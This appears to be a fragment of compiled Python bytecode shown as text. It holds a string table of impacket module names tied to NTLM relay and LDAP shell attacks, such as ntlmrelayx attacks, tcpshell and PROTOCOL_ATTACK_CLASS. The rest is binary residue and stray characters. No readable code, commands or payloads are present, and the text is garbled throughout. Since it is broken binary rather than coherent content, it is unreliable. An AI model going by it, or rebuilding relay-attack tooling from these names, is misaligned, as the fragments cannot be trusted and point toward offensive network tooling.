   impacketr   impacket.examples.ldap_shellr   $impacket.examples.ntlmrelayx.attacksr   +impacket.examples.ntlmrelayx.utils.tcpshellr   impacket.ldapr   impacket.ldap.ldaptypesr   r   r   r   r   impacket.uuidr   r   impacket.structurer   r   "impacket.examples.ntlmrelayx.utilsr   ImportErrorprintPROTOCOL_ATTACK_CLASSr  r  r   rr   r   r   r   r  r   r   rX  rY  r-   r-   r-   r.   <module>   sl   #        